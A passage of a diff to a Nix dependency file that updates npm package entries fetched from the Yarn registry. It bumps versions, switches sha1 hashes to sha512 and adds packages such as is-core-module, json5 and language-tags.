+        sha512 = "1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==";
       };
     }
     {
@@ -1793,43 +2105,51 @@ rec {
       };
     }
     {
-      name = "is_data_descriptor___is_data_descriptor_0.1.4.tgz";
+      name = "is_core_module___is_core_module_2.16.1.tgz";
       path = fetchurl {
-        name = "is_data_descriptor___is_data_descriptor_0.1.4.tgz";
-        url = "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz";
-        sha1 = "C17mSDiOLIYCgueT8YVv7D8wG1Y=";
+        name = "is_core_module___is_core_module_2.16.1.tgz";
+        url = "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.16.1.tgz";
+        sha512 = "UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==";
       };
     }
     {
-      name = "is_data_descriptor___is_data_descriptor_1.0.0.tgz";
+      name = "is_data_descriptor___is_data_descriptor_1.0.1.tgz";
       path = fetchurl {
-        name = "is_data_descriptor___is_data_descriptor_1.0.0.tgz";
-        url = "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz";
-        sha512 = "jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==";
+        name = "is_data_descriptor___is_data_descriptor_1.0.1.tgz";
+        url = "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-1.0.1.tgz";
+        sha512 = "bc4NlCDiCr28U4aEsQ3Qs2491gVq4V8G7MQyws968ImqjKuYtTJXrl7Vq7jsN7Ly/C3xj5KWFrY7sHNeDkAzXw==";
       };
     }
     {
-      name = "is_date_object___is_date_object_1.0.2.tgz";
+      name = "is_data_view___is_data_view_1.0.2.tgz";
       path = fetchurl {
-        name = "is_date_object___is_date_object_1.0.2.tgz";
-        url = "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.2.tgz";
-        sha512 = "USlDT524woQ08aoZFzh3/Z6ch9Y/EWXEHQ/AaRN0SkKq4t2Jw2R2339tSXmwuVoY7LLlBCbOIlx2myP/L5zk0g==";
+        name = "is_data_view___is_data_view_1.0.2.tgz";
+        url = "https://registry.yarnpkg.com/is-data-view/-/is-data-view-1.0.2.tgz";
+        sha512 = "RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==";
       };
     }
     {
-      name = "is_descriptor___is_descriptor_0.1.6.tgz";
+      name = "is_date_object___is_date_object_1.1.0.tgz";
       path = fetchurl {
-        name = "is_descriptor___is_descriptor_0.1.6.tgz";
-        url = "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-0.1.6.tgz";
-        sha512 = "avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==";
+        name = "is_date_object___is_date_object_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.1.0.tgz";
+        sha512 = "PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==";
       };
     }
     {
-      name = "is_descriptor___is_descriptor_1.0.2.tgz";
+      name = "is_descriptor___is_descriptor_0.1.7.tgz";
       path = fetchurl {
-        name = "is_descriptor___is_descriptor_1.0.2.tgz";
-        url = "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-1.0.2.tgz";
-        sha512 = "2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==";
+        name = "is_descriptor___is_descriptor_0.1.7.tgz";
+        url = "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-0.1.7.tgz";
+        sha512 = "C3grZTvObeN1xud4cRWl366OMXZTj0+HGyk4hvfpx4ZHt1Pb60ANSXqCK7pdOTeUQpRzECBSTphqvD7U+l22Eg==";
+      };
+    }
+    {
+      name = "is_descriptor___is_descriptor_1.0.3.tgz";
+      path = fetchurl {
+        name = "is_descriptor___is_descriptor_1.0.3.tgz";
+        url = "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-1.0.3.tgz";
+        sha512 = "JCNNGbwWZEVaSPtS45mdtrneRWJFp07LLmykxeFV5F6oBvNF8vHSfJuJgoT472pSfk+Mf8VnlrspaFBHWM8JAw==";
       };
     }
     {
@@ -1837,7 +2157,7 @@ rec {
       path = fetchurl {
         name = "is_directory___is_directory_0.3.1.tgz";
         url = "https://registry.yarnpkg.com/is-directory/-/is-directory-0.3.1.tgz";
-        sha1 = "YTObbyR1/Hcv2cnYP1yFddwVSuE=";
+        sha512 = "yVChGzahRFvbkscn2MlwGismPO12i9+znNruC5gVEntG3qu0xQMzsGg/JFbrsqDOHtHFPci+V5aP5T9I+yeKqw==";
       };
     }
     {
@@ -1845,7 +2165,7 @@ rec {
       path = fetchurl {
         name = "is_extendable___is_extendable_0.1.1.tgz";
         url = "https://registry.yarnpkg.com/is-extendable/-/is-extendable-0.1.1.tgz";
-        sha1 = "YrEQ4omkcUGOPsNqYX1HLjAd/Ik=";
+        sha512 = "5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==";
       };
     }
     {
@@ -1861,7 +2181,15 @@ rec {
       path = fetchurl {
         name = "is_extglob___is_extglob_2.1.1.tgz";
         url = "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz";
-        sha1 = "qIwCU1eR8C7TfHahueqXc8gz+MI=";
+        sha512 = "SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==";
+      };
+    }
+    {
+      name = "is_finalizationregistry___is_finalizationregistry_1.1.1.tgz";
+      path = fetchurl {
+        name = "is_finalizationregistry___is_finalizationregistry_1.1.1.tgz";
+        url = "https://registry.yarnpkg.com/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz";
+        sha512 = "1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==";
       };
     }
     {
@@ -1869,7 +2197,7 @@ rec {
       path = fetchurl {
         name = "is_fullwidth_code_point___is_fullwidth_code_point_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz";
-        sha1 = "754xOG8DGn8NZDr4L95QxFfvAMs=";
+        sha512 = "1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==";
       };
     }
     {
@@ -1877,15 +2205,47 @@ rec {
       path = fetchurl {
         name = "is_fullwidth_code_point___is_fullwidth_code_point_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz";
-        sha1 = "o7MKXE8ZkYMWeqq5O+764937ZU8=";
+        sha512 = "VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==";
       };
     }
     {
-      name = "is_glob___is_glob_4.0.1.tgz";
+      name = "is_generator_function___is_generator_function_1.1.0.tgz";
       path = fetchurl {
-        name = "is_glob___is_glob_4.0.1.tgz";
-        url = "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.1.tgz";
-        sha512 = "5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==";
+        name = "is_generator_function___is_generator_function_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/is-generator-function/-/is-generator-function-1.1.0.tgz";
+        sha512 = "nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==";
+      };
+    }
+    {
+      name = "is_glob___is_glob_4.0.3.tgz";
+      path = fetchurl {
+        name = "is_glob___is_glob_4.0.3.tgz";
+        url = "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz";
+        sha512 = "xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==";
+      };
+    }
+    {
+      name = "is_map___is_map_2.0.3.tgz";
+      path = fetchurl {
+        name = "is_map___is_map_2.0.3.tgz";
+        url = "https://registry.yarnpkg.com/is-map/-/is-map-2.0.3.tgz";
+        sha512 = "1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==";
+      };
+    }
+    {
+      name = "is_negative_zero___is_negative_zero_2.0.3.tgz";
+      path = fetchurl {
+        name = "is_negative_zero___is_negative_zero_2.0.3.tgz";
+        url = "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.3.tgz";
+        sha512 = "5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==";
+      };
+    }
+    {
+      name = "is_number_object___is_number_object_1.1.1.tgz";
+      path = fetchurl {
+        name = "is_number_object___is_number_object_1.1.1.tgz";
+        url = "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.1.1.tgz";
+        sha512 = "lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==";
       };
     }
     {
@@ -1893,7 +2253,7 @@ rec {
       path = fetchurl {
         name = "is_number___is_number_3.0.0.tgz";
         url = "https://registry.yarnpkg.com/is-number/-/is-number-3.0.0.tgz";
-        sha1 = "JP1iAaR4LPUFYcgQJ2r8fRLXEZU=";
+        sha512 = "4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==";
       };
     }
     {
@@ -1901,7 +2261,7 @@ rec {
       path = fetchurl {
         name = "is_obj___is_obj_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/is-obj/-/is-obj-1.0.1.tgz";
-        sha1 = "PkcprB9f3gJc19g6iW2rn09n2w8=";
+        sha512 = "l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==";
       };
     }
     {
@@ -1917,7 +2277,7 @@ rec {
       path = fetchurl {
         name = "is_path_cwd___is_path_cwd_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/is-path-cwd/-/is-path-cwd-1.0.0.tgz";
-        sha1 = "0iXsIxMuie3Tj9p2dHLmLmXxEG0=";
+        sha512 = "cnS56eR9SPAscL77ik76ATVqoPARTqPIVkMDVxRaWH06zT+6+CzIroYRJ0VVvm0Z1zfAvxvz9i/D3Ppjaqt5Nw==";
       };
     }
     {
@@ -1933,7 +2293,7 @@ rec {
       path = fetchurl {
         name = "is_path_inside___is_path_inside_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-1.0.1.tgz";
-        sha1 = "jvW33lBDej/cprToZe96pVy0gDY=";
+        sha512 = "qhsCR/Esx4U4hg/9I19OVUAJkGWtjRYHMRgUMZE2TDdj+Ag+kttZanLupfddNyglzz50cUlmWzUaI37GDfNx/g==";
       };
     }
     {
@@ -1953,11 +2313,11 @@ rec {
       };
     }
     {
-      name = "is_regex___is_regex_1.0.5.tgz";
+      name = "is_regex___is_regex_1.2.1.tgz";
       path = fetchurl {
-        name = "is_regex___is_regex_1.0.5.tgz";
-        url = "https://registry.yarnpkg.com/is-regex/-/is-regex-1.0.5.tgz";
-        sha512 = "vlKW17SNq44owv5AQR3Cq0bQPEb8+kF3UKZ2fiZNOWtztYE5i0CzCZxFDwO58qAOWtxdBRVO/V5Qin1wjCqFYQ==";
+        name = "is_regex___is_regex_1.2.1.tgz";
+        url = "https://registry.yarnpkg.com/is-regex/-/is-regex-1.2.1.tgz";
+        sha512 = "MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==";
       };
     }
     {
@@ -1965,7 +2325,7 @@ rec {
       path = fetchurl {
         name = "is_regexp___is_regexp_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/is-regexp/-/is-regexp-1.0.0.tgz";
-        sha1 = "/S2INUXEa6xaYz57mgnof6LLUGk=";
+        sha512 = "7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==";
       };
     }
     {
@@ -1976,28 +2336,76 @@ rec {
         sha512 = "qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==";
       };
     }
+    {
+      name = "is_set___is_set_2.0.3.tgz";
+      path = fetchurl {
+        name = "is_set___is_set_2.0.3.tgz";
+        url = "https://registry.yarnpkg.com/is-set/-/is-set-2.0.3.tgz";
+        sha512 = "iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==";
+      };
+    }
+    {
+      name = "is_shared_array_buffer___is_shared_array_buffer_1.0.4.tgz";
+      path = fetchurl {
+        name = "is_shared_array_buffer___is_shared_array_buffer_1.0.4.tgz";
+        url = "https://registry.yarnpkg.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz";
+        sha512 = "ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==";
+      };
+    }
     {
       name = "is_stream___is_stream_1.1.0.tgz";
       path = fetchurl {
         name = "is_stream___is_stream_1.1.0.tgz";
         url = "https://registry.yarnpkg.com/is-stream/-/is-stream-1.1.0.tgz";
-        sha1 = "EtSj3U5o4Lec6428hBc66A2RykQ=";
+        sha512 = "uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==";
       };
     }
     {
-      name = "is_string___is_string_1.0.5.tgz";
+      name = "is_string___is_string_1.1.1.tgz";
       path = fetchurl {
-        name = "is_string___is_string_1.0.5.tgz";
-        url = "https://registry.yarnpkg.com/is-string/-/is-string-1.0.5.tgz";
-        sha512 = "buY6VNRjhQMiF1qWDouloZlQbRhDPCebwxSjxMjxgemYT46YMd2NR0/H+fBhEfWX4A/w9TBJ+ol+okqJKFE6vQ==";
+        name = "is_string___is_string_1.1.1.tgz";
+        url = "https://registry.yarnpkg.com/is-string/-/is-string-1.1.1.tgz";
+        sha512 = "BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==";
       };
     }
     {
-      name = "is_symbol___is_symbol_1.0.3.tgz";
+      name = "is_symbol___is_symbol_1.1.1.tgz";
       path = fetchurl {
-        name = "is_symbol___is_symbol_1.0.3.tgz";
-        url = "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.3.tgz";
-        sha512 = "OwijhaRSgqvhm/0ZdAcXNZt9lYdKFpcRDT5ULUuYXPoT794UNOdU+gpT6Rzo7b4V2HUl/op6GqY894AZwv9faQ==";
+        name = "is_symbol___is_symbol_1.1.1.tgz";
+        url = "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.1.1.tgz";
+        sha512 = "9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==";
+      };
+    }
+    {
+      name = "is_typed_array___is_typed_array_1.1.15.tgz";
+      path = fetchurl {
+        name = "is_typed_array___is_typed_array_1.1.15.tgz";
+        url = "https://registry.yarnpkg.com/is-typed-array/-/is-typed-array-1.1.15.tgz";
+        sha512 = "p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==";
+      };
+    }
+    {
+      name = "is_weakmap___is_weakmap_2.0.2.tgz";
+      path = fetchurl {
+        name = "is_weakmap___is_weakmap_2.0.2.tgz";
+        url = "https://registry.yarnpkg.com/is-weakmap/-/is-weakmap-2.0.2.tgz";
+        sha512 = "K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==";
+      };
+    }
+    {
+      name = "is_weakref___is_weakref_1.1.1.tgz";
+      path = fetchurl {
+        name = "is_weakref___is_weakref_1.1.1.tgz";
+        url = "https://registry.yarnpkg.com/is-weakref/-/is-weakref-1.1.1.tgz";
+        sha512 = "6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==";
+      };
+    }
+    {
+      name = "is_weakset___is_weakset_2.0.4.tgz";
+      path = fetchurl {
+        name = "is_weakset___is_weakset_2.0.4.tgz";
+        url = "https://registry.yarnpkg.com/is-weakset/-/is-weakset-2.0.4.tgz";
+        sha512 = "mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==";
       };
     }
     {
@@ -2013,7 +2421,15 @@ rec {
       path = fetchurl {
         name = "isarray___isarray_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz";
-        sha1 = "u5NdSFgsuhaMBoNJV6VKPgcSTxE=";
+        sha512 = "VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==";
+      };
+    }
+    {
+      name = "isarray___isarray_2.0.5.tgz";
+      path = fetchurl {
+        name = "isarray___isarray_2.0.5.tgz";
+        url = "https://registry.yarnpkg.com/isarray/-/isarray-2.0.5.tgz";
+        sha512 = "xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==";
       };
     }
     {
@@ -2021,7 +2437,7 @@ rec {
       path = fetchurl {
         name = "isexe___isexe_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz";
-        sha1 = "6PvzdNxVb/iUehDcsFctYz8s+hA=";
+        sha512 = "RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==";
       };
     }
     {
@@ -2029,7 +2445,7 @@ rec {
       path = fetchurl {
         name = "isobject___isobject_2.1.0.tgz";
         url = "https://registry.yarnpkg.com/isobject/-/isobject-2.1.0.tgz";
-        sha1 = "8GVWEJaj8dou9GJy+BXIQNh+DIk=";
+        sha512 = "+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==";
       };
     }
     {
@@ -2037,7 +2453,15 @@ rec {
       path = fetchurl {
         name = "isobject___isobject_3.0.1.tgz";
         url = "https://registry.yarnpkg.com/isobject/-/isobject-3.0.1.tgz";
-        sha1 = "TkMekrEalzFjaqH5yNHMvP2reN8=";
+        sha512 = "WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==";
+      };
+    }
+    {
+      name = "iterator.prototype___iterator.prototype_1.1.5.tgz";
+      path = fetchurl {
+        name = "iterator.prototype___iterator.prototype_1.1.5.tgz";
+        url = "https://registry.yarnpkg.com/iterator.prototype/-/iterator.prototype-1.1.5.tgz";
+        sha512 = "H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==";
       };
     }
     {
@@ -2053,23 +2477,23 @@ rec {
       path = fetchurl {
         name = "js_tokens___js_tokens_3.0.2.tgz";
         url = "https://registry.yarnpkg.com/js-tokens/-/js-tokens-3.0.2.tgz";
-        sha1 = "mGbfOVECEw449/mWvOtlRDIJwls=";
+        sha512 = "RjTcuD4xjtthQkaWH7dFlH85L+QaVtSoOyGdZ3g6HFhS9dFNDfLyqgm2NFe2X6cQpeFmt0452FJjFG5UameExg==";
       };
     }
     {
-      name = "js_yaml___js_yaml_3.13.1.tgz";
+      name = "js_yaml___js_yaml_3.14.1.tgz";
       path = fetchurl {
-        name = "js_yaml___js_yaml_3.13.1.tgz";
-        url = "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.13.1.tgz";
-        sha512 = "YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==";
+        name = "js_yaml___js_yaml_3.14.1.tgz";
+        url = "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz";
+        sha512 = "okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==";
       };
     }
     {
-      name = "jsesc___jsesc_2.5.2.tgz";
+      name = "jsesc___jsesc_3.1.0.tgz";
       path = fetchurl {
-        name = "jsesc___jsesc_2.5.2.tgz";
-        url = "https://registry.yarnpkg.com/jsesc/-/jsesc-2.5.2.tgz";
-        sha512 = "OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==";
+        name = "jsesc___jsesc_3.1.0.tgz";
+        url = "https://registry.yarnpkg.com/jsesc/-/jsesc-3.1.0.tgz";
+        sha512 = "/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==";
       };
     }
     {
@@ -2085,7 +2509,7 @@ rec {
       path = fetchurl {
         name = "json_schema_traverse___json_schema_traverse_0.3.1.tgz";
         url = "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz";
-        sha1 = "NJptRMU6Ud6JtAgFxdXlm0F9M0A=";
+        sha512 = "4JD/Ivzg7PoW8NzdrBSr3UFwC9mHgvI7Z6z3QGBsSHgKaRTUDmyZAAKJo2UbG1kUVfS9WS8bi36N49U1xw43DA==";
       };
     }
     {
@@ -2101,15 +2525,23 @@ rec {
       path = fetchurl {
         name = "json_stable_stringify_without_jsonify___json_stable_stringify_without_jsonify_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz";
-        sha1 = "nbe1lJatPzz+8wp1FC0tkwrXJlE=";
+        sha512 = "Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==";
       };
     }
     {
-      name = "jsx_ast_utils___jsx_ast_utils_2.2.3.tgz";
+      name = "json5___json5_1.0.2.tgz";
       path = fetchurl {
-        name = "jsx_ast_utils___jsx_ast_utils_2.2.3.tgz";
-        url = "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-2.2.3.tgz";
-        sha512 = "EdIHFMm+1BPynpKOpdPqiOsvnIrInRGJD7bzPZdPkjitQEqpdpUuFpq4T0npZFKTiB3RhWFdGN+oqOJIdhDhQA==";
+        name = "json5___json5_1.0.2.tgz";
+        url = "https://registry.yarnpkg.com/json5/-/json5-1.0.2.tgz";
+        sha512 = "g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==";
+      };
+    }
+    {
+      name = "jsx_ast_utils___jsx_ast_utils_3.3.5.tgz";
+      path = fetchurl {
+        name = "jsx_ast_utils___jsx_ast_utils_3.3.5.tgz";
+        url = "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz";
+        sha512 = "ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==";
       };
     }
     {
@@ -2117,7 +2549,7 @@ rec {
       path = fetchurl {
         name = "kind_of___kind_of_3.2.2.tgz";
         url = "https://registry.yarnpkg.com/kind-of/-/kind-of-3.2.2.tgz";
-        sha1 = "MeohpzS6ubuw8yRm2JOupR5KPGQ=";
+        sha512 = "NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==";
       };
     }
     {
@@ -2125,15 +2557,7 @@ rec {
       path = fetchurl {
         name = "kind_of___kind_of_4.0.0.tgz";
         url = "https://registry.yarnpkg.com/kind-of/-/kind-of-4.0.0.tgz";
-        sha1 = "IIE989cSkosgc3hpGkUGb65y3Vc=";
-      };
-    }
-    {
-      name = "kind_of___kind_of_5.1.0.tgz";
-      path = fetchurl {
-        name = "kind_of___kind_of_5.1.0.tgz";
-        url = "https://registry.yarnpkg.com/kind-of/-/kind-of-5.1.0.tgz";
-        sha512 = "NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==";
+        sha512 = "24XsCxmEbRwEDbz/qz3stgin8TTzZ1ESR56OMCN0ujYg+vRutNSiOj9bHH9u85DKgXguraugV5sFuvbD4FW/hw==";
       };
     }
     {
@@ -2144,12 +2568,28 @@ rec {
         sha512 = "dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==";
       };
     }
+    {
+      name = "language_subtag_registry___language_subtag_registry_0.3.23.tgz";
+      path = fetchurl {
+        name = "language_subtag_registry___language_subtag_registry_0.3.23.tgz";
+        url = "https://registry.yarnpkg.com/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz";
+        sha512 = "0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==";
+      };
+    }
+    {
+      name = "language_tags___language_tags_1.0.9.tgz";
+      path = fetchurl {
+        name = "language_tags___language_tags_1.0.9.tgz";
+        url = "https://registry.yarnpkg.com/language-tags/-/language-tags-1.0.9.tgz";
+        sha512 = "MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==";
+      };
+    }
     {
       name = "lcid___lcid_1.0.0.tgz";
       path = fetchurl {
         name = "lcid___lcid_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/lcid/-/lcid-1.0.0.tgz";
-        sha1 = "MIrMr6C8SDo4Z7S28rlQYlHRuDU=";
+        sha512 = "YiGkH6EnGrDGqLMITnGjXtGmNtjoXw9SVUzcaos8RBi7Ps0VBylkq+vOcY9QE5poLasPCR849ucFUkl0UzUyOw==";
       };
     }
     {
@@ -2157,7 +2597,7 @@ rec {
       path = fetchurl {
         name = "levn___levn_0.3.0.tgz";
         url = "https://registry.yarnpkg.com/levn/-/levn-0.3.0.tgz";
-        sha1 = "OwmSTt+fCDwEkP3UwLxEIeBHZO4=";
+        sha512 = "0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==";
       };
     }
     {
@@ -2173,7 +2613,7 @@ rec {
       path = fetchurl {
         name = "listr_silent_renderer___listr_silent_renderer_1.1.1.tgz";
         url = "https://registry.yarnpkg.com/listr-silent-renderer/-/listr-silent-renderer-1.1.1.tgz";
-        sha1 = "kktaN1cVN3C/Go4/v3S4u/P5JC4=";
+        sha512 = "L26cIFm7/oZeSNVhWB6faeorXhMg4HNlb/dS/7jHhr708jxlXrtrBWo4YUxZQkc6dGoxEAe6J/D3juTRBUzjtA==";
       };
     }
     {
@@ -2200,20 +2640,12 @@ rec {
         sha512 = "RmAl7su35BFd/xoMamRjpIE4j3v+L28o8CT5YhAXQJm1fD+1l9ngXY8JAQRJ+tFK2i5njvi0iRUKV09vPwA0iA==";
       };
     }
-    {
-      name = "load_json_file___load_json_file_2.0.0.tgz";
-      path = fetchurl {
-        name = "load_json_file___load_json_file_2.0.0.tgz";
